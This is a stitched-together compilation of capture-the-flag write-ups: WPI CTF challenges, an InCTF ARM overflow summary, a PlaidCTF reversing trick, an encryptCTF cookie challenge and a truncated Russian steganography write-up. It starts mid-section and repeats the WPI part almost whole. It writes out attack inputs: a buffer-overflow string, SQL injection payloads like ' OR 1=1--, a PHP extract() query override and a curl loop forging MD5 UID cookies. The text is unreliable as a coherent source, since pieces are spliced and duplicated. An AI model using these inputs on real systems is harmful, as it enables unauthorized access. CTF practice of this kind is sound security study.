```AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA``` Which outputs```#define _GNU_SOURCE#include <stdio.h>#include <unistd.h> #include <stdlib.h>#include <string.h> //compiled with gcc source.c -o source -fno-stack-protector -no-pie//gcc (Ubuntu 7.3.0-27ubuntu1~18.04) 7.3.0 //flag for source1 is WPI{Typos_are_GrEaT!}int getpw(void){ int res = 0; char pw[100]; fgets(pw, 0x100, stdin); *strchrnul(pw, '\n') = 0; if(!strcmp(pw, getenv("SOURCE1_PW"))) res = 1; return res;} char *lesscmd[] = {"less", "source.c", 0};int main(void){ setenv("LESSSECURE", "1", 1); printf("Enter the password to get access to https://www.imdb.com/title/tt0945513/\n"); if(!getpw()){ printf("Pasword auth failed\nexiting\n"); return 1; } execvp(lesscmd[0], lesscmd); return 0}```Thus, our flag is ``` WPI{Typos_are_GrEaT!} ``` ------------- Strings-------------```Challenge:A handy tool for your RE efforts! made by AWG File from https://drive.google.com/open?id=1Hr30UBpwKEbt5UF4w2GzfXnVDXoCRVIs``` When executing the program, it worked the same way as the ```strings``` command would do. But what if we strings the file? So I tried to take a look at the file's functions.![](https://raw.githubusercontent.com/Immobility/CTF/master/wpiCTF/photos/Screenshot%20at%202019-04-16%2015-23-47.png) Ooh!, so our flag is ```WPI{What_do_you_mean_I_SEE_AHH_SKI}``` ------------- Jocipher-------------```Challenge:Decrypt PIY{zsxh-sqrvufwh-nfgl} to get the flag! made by Samantha Comeau https://drive.google.com/open?id=1MKcNvHuFCo8vsHZgKOOT0vWddfIzRFk1``` After getting the required file, we were supposed to decrypt ```PIY{zsxh-sqrvufwh-nfgl}``` to supposedly get out flag. I wrote a small bash script to retrieve the flag. ```# !/bin/bash for i in {1..100}do ./jocipher.pyc --string "PIY{zsxh-sqrvufwh-nfgl}" --shift $i --decode | grep WPIdone``` ``` ./jocipher.pyc --string "PIY{zsxh-sqrvufwh-nfgl}" --shift 48 --decode``` Where our reasonable output is ```WPI{xkcd-keyboard-mash}``` ------------ Webinspect------------```Challenge:Something is lurking at https://www.wpictf.xyz``` They redirect you to the site. where if you open up the source code, you'll find![](https://github.com/Immobility/CTF/blob/master/wpiCTF/photos/7e0251fa47ee79d28850a4a150bf3bbf.png?raw=true) ``` WPI{Inspect0r_Gadget} ``` ------------ Getaflag------------```Challenge:Come on down and get your flag, all you have to do is enter the correct password ... http://getaflag.wpictf.xyz:31337/ (or 31338 or 31339) made by godeva``` The site starts with ![](https://raw.githubusercontent.com/Immobility/CTF/master/wpiCTF/photos/Screenshot%20at%202019-04-16%2023-10-39.png) I started with some simple SQL injections such as ``` ' OR 1=1-- ``` or ``` ' OR 1=1# ```, but I didn't get anything out of that. However, after I inspected the source code, on the comments, it showed ``` SGV5IEdvdXRoYW0sIGRvbid0IGZvcmdldCB0byBibG9jayAvYXV0aC5waHAgYWZ0ZXIgeW91IHVwbG9hZCB0aGlzIGNoYWxsZW5nZSA7KQ== ```, which in base64, translates to``` Hey Goutham, don't forget to block /auth.php after you upload this challenge ;) ```, aha! so when I went to http://getaflag.wpictf.xyz:31337/auth.php it gave me this psudocode``` // Pseudocode $passcode = '???'; $flag = '????' extract($_GET); if (($input is detected)) { if ($input === get_contents($passcode)) { return $flag } else { echo "Invalid ... Please try again!" } }``` Because I didn't know to much about PHP, but after reading some functions, I [stumbled](https://stackoverflow.com/questions/829407/what-is-so-wrong-with-extract) on how the extract function is very vulnerable due to how it can replace an element in an array. So after experimenting and having a small knowledge of address object exploits, I came up to an idea since ```$input === get_contents($passcode)```, and the address bar shows the query, I changed input to a null value and also wrote a passcode = null, resulting in ```http://getaflag.wpictf.xyz:31337/?input=&passcode=null```. and our result should have given us ![](https://raw.githubusercontent.com/Immobility/CTF/master/wpiCTF/photos/Screenshot%20at%202019-04-16%2023-31-16.png) However, you get rick roll'd after seeing clicking on the link, so when I inspected the source code again, it gave me the flag! ```WPI{1_l0v3_PHP}``` ------------Chirp------------```Challenge:made by Justo and siege file from https://drive.google.com/open?id=1lcdC9qVBKtSfxOPWLbWd8kAYnPEoSZQb``` For this challenge, you had to look at a photo of this bird ![](https://raw.githubusercontent.com/Immobility/CTF/master/wpiCTF/photos/chal.jpg) At first, I thought it was steganography, but I later realized that recon was not supposed to be a steg challenge. So after connecting the title of the challenge and the picture of the bird, I found that the image is depicting an image of Twitter. I went to the sponsor's Twitter page and got the flag. ``` WPI{sp0nsored_by_si3ge} ``` ------------
In `InCTF 2018 - wARMup` challenge, there is a `stack overflow` vulnerability which allows us to overwrite return address with an arbitrary address. First, we use `read` to write our `shellcode` into the `.bss` and then jump to it. This is an interesting `ARM exploitation` challenge to learn bypassing protections like `Partial RELRO` and `ASLR` in `ARM` binaries.
# Plaid Party Planning III Full warning, I solved this using the unintended / cheesy solution. With that let's take a look at the binary: ```$ file pppiii-b73804b431586f8ecd4a0e8c0daf3ba6 pppiii-b73804b431586f8ecd4a0e8c0daf3ba6: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=8190b786e8260d7cb6e6d183a1f9f182a96f86d6, stripped$ ./pppiii-b73804b431586f8ecd4a0e8c0daf3ba6 Alphabetical it is, I guess.Simulating the dinner... cai: Thank you guys all for helping out. Great job on another Plaid CTF well done!strikeskids: I got someone to figure out our seating arrangement for us. Hopefully you're seated near to dishes you like.zwad3: Guys, can you please be careful to not get any gluten in the food?zwad3: *grabs the basmati rice*strikeskids: *grabs the samosas*awesie: *grabs the garlic naan*susie: *grabs the basmati rice*tylerni7: *grabs the matar methi malai*jarsp: *grabs the plain naan*ubuntor: I've saved some of my best ones for tonight!ubuntor: *grabs the kashmiri naan*cai: *grabs the samosas*waituck: *grabs the samosas*erye: *grabs the mango lassi*ricky: This looks delicious!ricky: *grabs the samosa chaat*strikeskids: *grabs the mango lassi*zwad3: *grabs the dal makhani*waituck: *puts the samosas back*zaratec: *grabs the samosas*jarsp: *puts the plain naan back*ricky: *grabs the chaas*panda: *grabs the plain naan*strikeskids: *puts the mango lassi back*zwad3: *grabs the mango lassi*ricky: *puts the samosa chaat back*jarsp: *grabs the pakoras*zwad3: *puts the basmati rice back*strikeskids: *puts the samosas back*awesie: *grabs the basmati rice*jarsp: *puts the pakoras back*Aborted (core dumped)``` So we are dealing with a 64 bit binary, that crashes when we run it. ### Reversing When we look at the main function, we see this:```signed __int64 __fastcall main(int arg_count, char **argv, char **a3){ int first_arg; // [sp+1Ch] [bp-14h]@1 signed int i; // [sp+20h] [bp-10h]@2 signed int j; // [sp+24h] [bp-Ch]@8 signed int k; // [sp+28h] [bp-8h]@12 signed int current_placement; // [sp+2Ch] [bp-4h]@9 setup_((__int64)&x, (__int64)&y); first_arg = 1; if ( arg_count == 1 ) { puts("Alphabetical it is, I guess."); for ( i = 0; i <= 14; ++i ) placement[8 * i] = i; } else { if ( arg_count != 17 ) abort(); first_arg = atoi(argv[1]); for ( j = 0; j <= 14; ++j ) { placement[8 * j] = atoi(argv[j + 2LL]) - 1; current_placement = placement[8 * j]; if ( current_placement < 0 || current_placement > 14 ) abort(); for ( k = 0; k < j; ++k ) { if ( current_placement == placement[8 * k] ) abort(); } } } if ( first_arg == 1 ) { puts("Simulating the dinner...\n"); simulatingDinner((__int64)&x, (__int64)&y); } else { puts("Checking the dinner...\n"); if ( first_arg != 2 ) abort(); if ( (unsigned __int8)checkingDinner((__int64)&x, (__int64)&y) ^ 1 ) { printf("Your dinner arrangement was unacceptable. We might never finish :(", &y, argv); return 1LL; } } return 0LL;}``` Looking at this, we can see that it takes in input via arguments. Depending on the arguments it will either fill the bss section `placement` (at offset `0x2086b0`) with certain values, or exit with `abort`. If we input no arguments, then it will fill in `placament` with values `0-14` in ascending order. If we input `16` arguments (excluding the file name) it will take the first argument and save it in the `first_arg` variable. The last `15` arguments are then saved in the `placement` array (assuming that the arguments are between `0-14` and not repeated, if so the program aborts). Also if we don't either give the program `15` or no arguments (excluding file name) the program aborts. Also with the setup function, we see that it sets `x` to be a pointer to various strings and function addresses, and sets `y` to be equal to a pointer to various strings and integers. Essentially we are giving the places for people to sit, ranging from `0-14`. Then it decides to either simulate or check the dinner. This is based upon the value `first_arg` (initialized to `1`). If it is `1` then it simulates it, `2` for checking. If it is a value other than those two then the program aborts. At the moment the `simulatingDinner` function is of more interest to use because we can see that the flag is printed in that function: ``` custom_print(&v38, (__int64)"It's a flag!", v21, v22, v23, v24, v25); tv_thing((__int64)&v38, 5uLL); ptr = genFlag(x); custom_print( (_QWORD *)(x + 256), (__int64)"Let me take a look. It seems to say\n\tPCTF{%s}.", (__int64)ptr, x + 256, v27, v28, v29);``` However before that happens, we see that this code runs around `0x1829`: ``` for ( i = 0; i <= 14; ++i ) { if ( pthread_create((pthread_t *)&th[i], 0LL, (void *(*)(void *))start_routine, (void *)(x + 32LL * i)) ) abort(); } for ( j = 0; j <= 14; ++j ) { if ( pthread_join(th[j], 0LL) ) abort(); }``` What that block does is it takes the functions stored in `x`, and executes them in different threads. In one of those functions somewhere, the program is aborting. After a bit of reversing we find this section of code at `0x3288` in the function at `0x314e`: ``` if ( strstr(*((const char **)v2 + 1), "paneer") ) abort();``` Depending on the order of spots we give, a different string gets compared here. To get past this, I just changed around the spots a bit until I got past that check. Then I ran into another problem where due to the `pthread_join(th[j], 0LL)` calls, the code hangs to the point where we won't get the flag: ```$ ./pppiii-b73804b431586f8ecd4a0e8c0daf3ba6 1 12 13 14 15 1 2 3 4 5 6 7 8 9 10 11Simulating the dinner... cai: Thank you guys all for helping out. Great job on another Plaid CTF well done!strikeskids: I got someone to figure out our seating arrangement for us. Hopefully you're seated near to dishes you like.strikeskids: *grabs the pakoras*zwad3: Guys, can you please be careful to not get any gluten in the food?zwad3: *grabs the basmati rice*zwad3: *grabs the matar methi malai*tylerni7: *grabs the palak paneer*erye: *grabs the mango lassi*awesie: *grabs the kashmiri naan*cai: *grabs the samosas*ricky: This looks delicious!f0xtrot: *grabs the roti*jarsp: *grabs the garlic naan*susie: *grabs the basmati rice*ubuntor: I've saved some of my best ones for tonight!ubuntor: *grabs the plain naan*waituck: *grabs the samosas*strikeskids: *grabs the chaas*zwad3: *grabs the mango lassi*waituck: *puts the samosas back*jarsp: *puts the garlic naan back*zaratec: *grabs the samosas*strikeskids: *puts the chaas back*panda: *grabs the garlic naan*jarsp: *grabs the samosas*zwad3: *puts the basmati rice back*strikeskids: *puts the pakoras back*awesie: *grabs the basmati rice*ricky: *grabs the pakoras*zwad3: *puts the mango lassi back*ricky: *grabs the mango lassi*zaratec: *grabs the mango lassi*awesie: *puts the kashmiri naan back*jarsp: *puts the samosas back*ricky: *puts the pakoras back*zwad3: *puts the matar methi malai back*strikeskids: *grabs the pakoras*zaratec: *puts the samosas back*waituck: *grabs the samosas*jarsp: *grabs the dal makhani*erye: *grabs the matar methi malai*erye: *puts the mango lassi back*strikeskids: *puts the pakoras back*ricky: Do I see any cheese in there? Actually, I think I'm good.zwad3: Hey! Aren't we missing someone?jarsp: *grabs the mango lassi*``` However we don't need to figure out how to get past that wall to get the flag. Turns out there is an unintentional solution where we can just jump past this section, and it will print the flag. For this I would set a breakpoint for the `pthread_join` call, then jump to right past the for loop with the `pthread_join` call at `0x18e7`: First set the breakpoints and run it:```ef➤ pie b *0x18begef➤ pie b *0x18e7gef➤ pie run 1 12 13 14 15 1 2 3 4 5 6 7 8 9 10 11Stopped due to shared library event (no libraries added or removed)[Thread debugging using libthread_db enabled]Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".Simulating the dinner... . . .``` Then we once we get to the `pthread_join` call, we can just jump past it. We will need to add it's offset to the pie base `0x0000555555554000` since pie is enabled: ```gef➤ vmmapStart End Offset Perm Path0x0000555555554000 0x000055555555c000 0x0000000000000000 r-x /Hackery/plaid19/planning/pppiii-b73804b431586f8ecd4a0e8c0daf3ba60x000055555575b000 0x000055555575c000 0x0000000000007000 r-- /Hackery/plaid19/planning/pppiii-b73804b431586f8ecd4a0e8c0daf3ba60x000055555575c000 0x000055555575d000 0x0000000000008000 rw- /Hackery/plaid19/planning/pppiii-b73804b431586f8ecd4a0e8c0daf3ba60x000055555575d000 0x000055555577e000 0x0000000000000000 rw- [heap]0x00007fffeffb6000 0x00007fffeffb7000 0x0000000000000000 --- 0x00007fffeffb7000 0x00007ffff07b7000 0x0000000000000000 rw- 0x00007ffff07b7000 0x00007ffff07b8000 0x0000000000000000 --- 0x00007ffff07b8000 0x00007ffff0fb8000 0x0000000000000000 rw- 0x00007ffff0fb8000 0x00007ffff0fb9000 0x0000000000000000 --- 0x00007ffff0fb9000 0x00007ffff17b9000 0x0000000000000000 rw- 0x00007ffff17b9000 0x00007ffff17ba000 0x0000000000000000 --- 0x00007ffff17ba000 0x00007ffff1fba000 0x0000000000000000 rw- 0x00007ffff1fba000 0x00007ffff1fbb000 0x0000000000000000 --- 0x00007ffff1fbb000 0x00007ffff27bb000 0x0000000000000000 rw- 0x00007ffff27bb000 0x00007ffff27bc000 0x0000000000000000 --- 0x00007ffff27bc000 0x00007ffff2fbc000 0x0000000000000000 rw- 0x00007ffff2fbc000 0x00007ffff2fbd000 0x0000000000000000 --- 0x00007ffff2fbd000 0x00007ffff37bd000 0x0000000000000000 rw- 0x00007ffff37bd000 0x00007ffff37be000 0x0000000000000000 --- 0x00007ffff37be000 0x00007ffff3fbe000 0x0000000000000000 rw- 0x00007ffff3fbe000 0x00007ffff3fbf000 0x0000000000000000 --- 0x00007ffff3fbf000 0x00007ffff47bf000 0x0000000000000000 rw- 0x00007ffff47bf000 0x00007ffff47c0000 0x0000000000000000 --- 0x00007ffff47c0000 0x00007ffff4fc0000 0x0000000000000000 rw- 0x00007ffff4fc0000 0x00007ffff4fc1000 0x0000000000000000 --- 0x00007ffff4fc1000 0x00007ffff57c1000 0x0000000000000000 rw- 0x00007ffff57c1000 0x00007ffff57c2000 0x0000000000000000 --- 0x00007ffff57c2000 0x00007ffff5fc2000 0x0000000000000000 rw- 0x00007ffff5fc2000 0x00007ffff5fc3000 0x0000000000000000 --- 0x00007ffff5fc3000 0x00007ffff67c3000 0x0000000000000000 rw- 0x00007ffff67c3000 0x00007ffff67c4000 0x0000000000000000 --- 0x00007ffff67c4000 0x00007ffff6fc4000 0x0000000000000000 rw- 0x00007ffff6fc4000 0x00007ffff6fc5000 0x0000000000000000 --- 0x00007ffff6fc5000 0x00007ffff77c5000 0x0000000000000000 rw- 0x00007ffff77c5000 0x00007ffff79ac000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.27.so0x00007ffff79ac000 0x00007ffff7bac000 0x00000000001e7000 --- /lib/x86_64-linux-gnu/libc-2.27.so0x00007ffff7bac000 0x00007ffff7bb0000 0x00000000001e7000 r-- /lib/x86_64-linux-gnu/libc-2.27.so0x00007ffff7bb0000 0x00007ffff7bb2000 0x00000000001eb000 rw- /lib/x86_64-linux-gnu/libc-2.27.so0x00007ffff7bb2000 0x00007ffff7bb6000 0x0000000000000000 rw- 0x00007ffff7bb6000 0x00007ffff7bd0000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libpthread-2.27.so0x00007ffff7bd0000 0x00007ffff7dcf000 0x000000000001a000 --- /lib/x86_64-linux-gnu/libpthread-2.27.so0x00007ffff7dcf000 0x00007ffff7dd0000 0x0000000000019000 r-- /lib/x86_64-linux-gnu/libpthread-2.27.so0x00007ffff7dd0000 0x00007ffff7dd1000 0x000000000001a000 rw- /lib/x86_64-linux-gnu/libpthread-2.27.so0x00007ffff7dd1000 0x00007ffff7dd5000 0x0000000000000000 rw- 0x00007ffff7dd5000 0x00007ffff7dfc000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/ld-2.27.so0x00007ffff7fd8000 0x00007ffff7fdd000 0x0000000000000000 rw- 0x00007ffff7ff7000 0x00007ffff7ffa000 0x0000000000000000 r-- [vvar]0x00007ffff7ffa000 0x00007ffff7ffc000 0x0000000000000000 r-x [vdso]0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000027000 r-- /lib/x86_64-linux-gnu/ld-2.27.so0x00007ffff7ffd000 0x00007ffff7ffe000 0x0000000000028000 rw- /lib/x86_64-linux-gnu/ld-2.27.so0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw- 0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]gef➤ j *0x5555555558e7Continuing at 0x5555555558e7.f0xtrot: *grabs the roti*erye: *grabs the mango lassi*cai: *grabs the samosas*awesie: *grabs the kashmiri naan*jarsp: *grabs the garlic naan*ricky: This looks delicious!ricky: *grabs the pakoras*ubuntor: I've saved some of my best ones for tonight!ubuntor: *grabs the plain naan*strikeskids: I got someone to figure out our seating arrangement for us. Hopefully you're seated near to dishes you like.waituck: *grabs the samosas*susie: *grabs the basmati rice*tylerni7: *grabs the palak paneer*zwad3: Guys, can you please be careful to not get any gluten in the food?zwad3: *grabs the basmati rice* ``` Then when we hit the final breakpoint, we can just continue and we will get the flag: ```Thread 1 "pppiii-b73804b4" hit Breakpoint 2, 0x00005555555558e7 in ?? ()gef➤ cContinuing.erye: *grabs the matar methi malai*jarsp: *puts the garlic naan back*panda: *grabs the garlic naan*ricky: *grabs the mango lassi*waituck: *puts the samosas back*zaratec: *grabs the samosas*ricky: *puts the pakoras back*jarsp: *grabs the samosas*zaratec: *grabs the mango lassi*erye: *puts the mango lassi back*strikeskids: *grabs the pakoras*strikeskids: *grabs the chaas*ricky: Do I see any cheese in there? Actually, I think I'm good.ricky: *grabs the dal makhani*zaratec: *puts the samosas back*erye: *grabs the mango lassi*waituck: *grabs the samosas*jarsp: *puts the samosas back*erye: *puts the mango lassi back*strikeskids: *puts the chaas back*ricky: *puts the dal makhani back*jarsp: *grabs the dal makhani*strikeskids: *puts the pakoras back*ricky: *puts the mango lassi back*jarsp: *grabs the mango lassi*bluepichu: Sorry we're late. There wasn't enough meat here, so I decided to go make some spaghetti with alfredo sauce, mushrooms, and chicken at home.strikeskids: *grabs the pakoras*mserrano: I decided to tag along because, as you know, cheese is very desirable.strikeskids: *puts the pakoras back*bluepichu: And I bought a ton of extra parmesan!mserrano: Anyway, we brought you guys a gift.bluepichu: It's a flag!strikeskids: Let me take a look. It seems to say PCTF{1 l1v3 1n th3 1nt3rs3ct1on of CSP and s3cur1ty and parti3s!}.strikeskids: Hopefully that's useful to someone.[Thread 0x7ffff07b6700 (LWP 13635) exited][Thread 0x7ffff0fb7700 (LWP 13634) exited][Thread 0x7ffff17b8700 (LWP 13633) exited][Thread 0x7ffff1fb9700 (LWP 13632) exited][Thread 0x7ffff27ba700 (LWP 13631) exited][Thread 0x7ffff2fbb700 (LWP 13630) exited][Thread 0x7ffff47be700 (LWP 13627) exited][Thread 0x7ffff37bc700 (LWP 13629) exited][Thread 0x7ffff4fbf700 (LWP 13626) exited][Thread 0x7ffff57c0700 (LWP 13625) exited][Thread 0x7ffff5fc1700 (LWP 13624) exited][Thread 0x7ffff67c2700 (LWP 13623) exited][Thread 0x7ffff6fc3700 (LWP 13622) exited][Thread 0x7ffff77c4700 (LWP 13621) exited][Thread 0x7ffff7fd8740 (LWP 13617) exited][Inferior 1 (process 13617) exited normally]``` Just like that we got the flag `PCTF{1 l1v3 1n th3 1nt3rs3ct1on of CSP and s3cur1ty and parti3s!}`.
## TL;DR1. Find those known plaintext.2. Count the mean and variance of output bit length at each position.3. Reconstruct the splay tree from the end.4. Recover central directory file header.5. Reconstruct local file header based on central directory file header.6. Reconstruct the initial splay tree.7. Decrypt the zip and enjoy the flag.
Checking the cookies for the challenge we can see there are two of them FLAG=encryptCTF{y0u_c4nt_U53_m3} UID=f899139df5e1059396431415e770c6dd The UID looks like an md5 hash so decoding that we get 100 so UID=100 and that gives us the FLAG cookie we can't use. So curl and bash to the rescue `for i in {0..100}; do echo -n $i | md5sum | sed -e "s/ -//"; done > 0-100.md5` this gives us md5 sums or 0-100 without the trailing - Once we have the md5 sums we fire them off to curl and dump only the headers and pipe it to grep for encryptctf `while read line; do curl -sSL --cookie "UID=$line" -D - http://104.154.106.182:8080/; done < 0-100.md5 | grep -i encrypt` Set-Cookie: FLAG=encryptCTF%7B4lwa4y5_Ch3ck_7h3_c00ki3s%7D%0A Set-Cookie: FLAG=encryptCTF%7By0u_c4nt_U53_m3%7D Set-Cookie: FLAG=encryptCTF%7By0u_c4nt_U53_m3%7D Set-Cookie: FLAG=encryptCTF%7By0u_c4nt_U53_m3%7D with headers HTTP/1.1 200 OK Date: Thu, 04 Apr 2019 11:27:26 GMT Server: Apache/2.4.25 (Debian) X-Powered-By: PHP/7.3.3 Set-Cookie: FLAG=encryptCTF%7B4lwa4y5_Ch3ck_7h3_c00ki3s%7D%0A Vary: Accept-Encoding Content-Length: 353 Content-Type: text/html; charset=UTF-8 `FLAG: encryptCTF{4lwa4y5_Ch3ck_7h3_c00ki3s}`
Source pt1--------------```Challenge:ssh [email protected] -p 31337 (or 31338 or 31339). Password is sourcelocker Here is your babybuff.``` Never had any experience with pwn without having a binary file (Also my first successful pwn challenge), however, I figured it worked out the same way as most binary exploitation did.When we write a couple of passwords to the file, it always seem to show "Pass auth failed.", and close out of the shell.![](https://raw.githubusercontent.com/Immobility/CTF/master/wpiCTF/photos/Screenshot%20at%202019-04-16%2015-05-45.png) However, when we type spam more characters, such as:```AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA``` The only output seems to be "Connection to source.wpictf.xyz closed." So that seemed suspicious because we want a ``` Pasword auth failed ```, which felt like an overflow error.So I decided to brute-force my way in by determining the right amount of ```A```'s I should be writing until I make my way in, which were 111 A's, or ```AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA``` Which outputs```#define _GNU_SOURCE#include <stdio.h>#include <unistd.h> #include <stdlib.h>#include <string.h> //compiled with gcc source.c -o source -fno-stack-protector -no-pie//gcc (Ubuntu 7.3.0-27ubuntu1~18.04) 7.3.0 //flag for source1 is WPI{Typos_are_GrEaT!}int getpw(void){ int res = 0; char pw[100]; fgets(pw, 0x100, stdin); *strchrnul(pw, '\n') = 0; if(!strcmp(pw, getenv("SOURCE1_PW"))) res = 1; return res;} char *lesscmd[] = {"less", "source.c", 0};int main(void){ setenv("LESSSECURE", "1", 1); printf("Enter the password to get access to https://www.imdb.com/title/tt0945513/\n"); if(!getpw()){ printf("Pasword auth failed\nexiting\n"); return 1; } execvp(lesscmd[0], lesscmd); return 0}```Thus, our flag is ``` WPI{Typos_are_GrEaT!} ``` ------------- Strings-------------```Challenge:A handy tool for your RE efforts! made by AWG File from https://drive.google.com/open?id=1Hr30UBpwKEbt5UF4w2GzfXnVDXoCRVIs``` When executing the program, it worked the same way as the ```strings``` command would do. But what if we strings the file? So I tried to take a look at the file's functions.![](https://raw.githubusercontent.com/Immobility/CTF/master/wpiCTF/photos/Screenshot%20at%202019-04-16%2015-23-47.png) Ooh!, so our flag is ```WPI{What_do_you_mean_I_SEE_AHH_SKI}``` ------------- Jocipher-------------```Challenge:Decrypt PIY{zsxh-sqrvufwh-nfgl} to get the flag! made by Samantha Comeau https://drive.google.com/open?id=1MKcNvHuFCo8vsHZgKOOT0vWddfIzRFk1``` After getting the required file, we were supposed to decrypt ```PIY{zsxh-sqrvufwh-nfgl}``` to supposedly get out flag. I wrote a small bash script to retrieve the flag. ```# !/bin/bash for i in {1..100}do ./jocipher.pyc --string "PIY{zsxh-sqrvufwh-nfgl}" --shift $i --decode | grep WPIdone``` ``` ./jocipher.pyc --string "PIY{zsxh-sqrvufwh-nfgl}" --shift 48 --decode``` Where our reasonable output is ```WPI{xkcd-keyboard-mash}``` ------------ Webinspect------------```Challenge:Something is lurking at https://www.wpictf.xyz``` They redirect you to the site. where if you open up the source code, you'll find![](https://github.com/Immobility/CTF/blob/master/wpiCTF/photos/7e0251fa47ee79d28850a4a150bf3bbf.png?raw=true) ``` WPI{Inspect0r_Gadget} ``` ------------ Getaflag------------```Challenge:Come on down and get your flag, all you have to do is enter the correct password ... http://getaflag.wpictf.xyz:31337/ (or 31338 or 31339) made by godeva``` The site starts with ![](https://raw.githubusercontent.com/Immobility/CTF/master/wpiCTF/photos/Screenshot%20at%202019-04-16%2023-10-39.png) I started with some simple SQL injections such as ``` ' OR 1=1-- ``` or ``` ' OR 1=1# ```, but I didn't get anything out of that. However, after I inspected the source code, on the comments, it showed ``` SGV5IEdvdXRoYW0sIGRvbid0IGZvcmdldCB0byBibG9jayAvYXV0aC5waHAgYWZ0ZXIgeW91IHVwbG9hZCB0aGlzIGNoYWxsZW5nZSA7KQ== ```, which in base64, translates to``` Hey Goutham, don't forget to block /auth.php after you upload this challenge ;) ```, aha! so when I went to http://getaflag.wpictf.xyz:31337/auth.php it gave me this psudocode``` // Pseudocode $passcode = '???'; $flag = '????' extract($_GET); if (($input is detected)) { if ($input === get_contents($passcode)) { return $flag } else { echo "Invalid ... Please try again!" } }``` Because I didn't know to much about PHP, but after reading some functions, I [stumbled](https://stackoverflow.com/questions/829407/what-is-so-wrong-with-extract) on how the extract function is very vulnerable due to how it can replace an element in an array. So after experimenting and having a small knowledge of address object exploits, I came up to an idea since ```$input === get_contents($passcode)```, and the address bar shows the query, I changed input to a null value and also wrote a passcode = null, resulting in ```http://getaflag.wpictf.xyz:31337/?input=&passcode=null```. and our result should have given us ![](https://raw.githubusercontent.com/Immobility/CTF/master/wpiCTF/photos/Screenshot%20at%202019-04-16%2023-31-16.png) However, you get rick roll'd after seeing clicking on the link, so when I inspected the source code again, it gave me the flag! ```WPI{1_l0v3_PHP}``` ------------Chirp------------```Challenge:made by Justo and siege file from https://drive.google.com/open?id=1lcdC9qVBKtSfxOPWLbWd8kAYnPEoSZQb``` For this challenge, you had to look at a photo of this bird ![](https://raw.githubusercontent.com/Immobility/CTF/master/wpiCTF/photos/chal.jpg) At first, I thought it was steganography, but I later realized that recon was not supposed to be a steg challenge. So after connecting the title of the challenge and the picture of the bird, I found that the image is depicting an image of Twitter. I went to the sponsor's Twitter page and got the flag. ``` WPI{sp0nsored_by_si3ge} ``` ------------
# In The Dark ![task](./src/in_dark.png) Алеша вглядывался в пустоту несколько минут. Она казалась ему абсолютно холодной. Нашла ли она в нем что-то? [dark.png](./src/dark.png) На вход нам подается огромная картинка 7k x 5k абсолютно черного цвета. Но не нужно быть очень внимательным, чтобы заметить слева внизу странные помехи. Конечно же, в первую очередь exif и zsteg. Через Stegsolve тоже можно попробовать прогнать, но с таким размером изображения это полный ад. Binwalk так же ничего не даст. $ exiftool dark.png ExifTool Version Number : 11.06 File Name : dark.png Directory : . File Size : 100 kB File Modification Date/Time : 2019:03:12 01:39:42+03:00 File Access Date/Time : 2019:04:17 01:39:26+03:00 File Inode Change Date/Time : 2019:04:17 01:01:02+03:00 File Permissions : rw-r--r-- File Type : PNG File Type Extension : png MIME Type : image/png Image Width : 7000 Image Height : 5000 Bit Depth : 8 Color Type : RGB Compression : Deflate/Inflate Filter : Adaptive Interlace : Noninterlaced Image Size : 7000x5000 Megapixels : 35.0 В метаданных пустота :) $ zsteg dark.png [=] nothing :( Zsteg отчаялся уже на этом этапе. Неплохо проверить дейстительно ли картинка такая же черная, как нам кажется. >>> from PIL import Image >>> dark = Image.open('dark.png') >>> dark.getcolors() [(24, (248, 248, 248)), (2, (10, 35, 244)), (12, (0, 248, 0)), (23, (248, 0, 246)), (6, (246, 248, 0)), (2, (245, 12, 26)), (2, (246, 246, 54)), (2, (43, 246, 247)), (2, (40, 246, 45)), (15, (248, 0, 0)), (5, (0, 0, 248)), (34999905, (0, 0, 0))] Да, подавляющее большинство пикселей полностью черные, но есть незначительное количество шума. Невнимательные и не заметившие его в самом начале могли попробовать локализовать сгустки довольно ярких пикселей и получить левый нижний угол. Что ж, рассмотрим его подробнее. ![pix](./src/pix.png) Согласна, похоже то ли на Piet, то ли на Brainloller. И первый, и второй можно отбросить из-за использования "некруглых" значений цветов. Но лучше проверить, а то мало ли какой апдейт. ![npiet](./src/npiet.png) Brainloller можете проверить сами. Что же делать?Давайте исходить из формата флага: `YauzaCTF{}`. Стоит отметить, что в нем есть две одинаковые буквы `а`. Есть ли у нас две одинаковые полоски?Да, аж две пары: розовый-розовый-белый-розовый-белый и белей-розовыйX4 (дальтоники, извините). Но последняя пара на слишком большом расстоянии, а вот первая как раз на нужном. Отсюда можно сделать вывод, что перед нами флаг, где каждый символ -- это одна полоска пикселей. После сессии гуглинга можно придти к выводу, что это [субпиксельный шрифт](http://www.msarnoff.org/millitext/) или [3-пиксельные герои Футурамы](http://igirl.com.ua/2010/10/20/3-pikselnye-personazhi-futuramy-i-simpsonov/) (шутка, у нас высота в 5 пикселей). ![google](./src/google.png) ![alph](./src/alph.png) Алфавит у нас есть, осталось только закодить декодирование или сделать его руками. **Флаг:** `YauzaCTF{5UBP1X3L5}`/ `YAUZACTF{5UBP1X3L5}` # Dobermann ![dober](./src/dober.png) Он любил этих собак. Но он не хотел чувствововать их взгляд за спиной. [dober.tif](./src/dober.tif) Как обычно, стандартная проверка: exiftool + binwalk. Zsteg и Stegsolve c форматом TIFF не работают. Strings использовать нет смысла. Пора бы уже это дело автоматизировать. $ exiftool 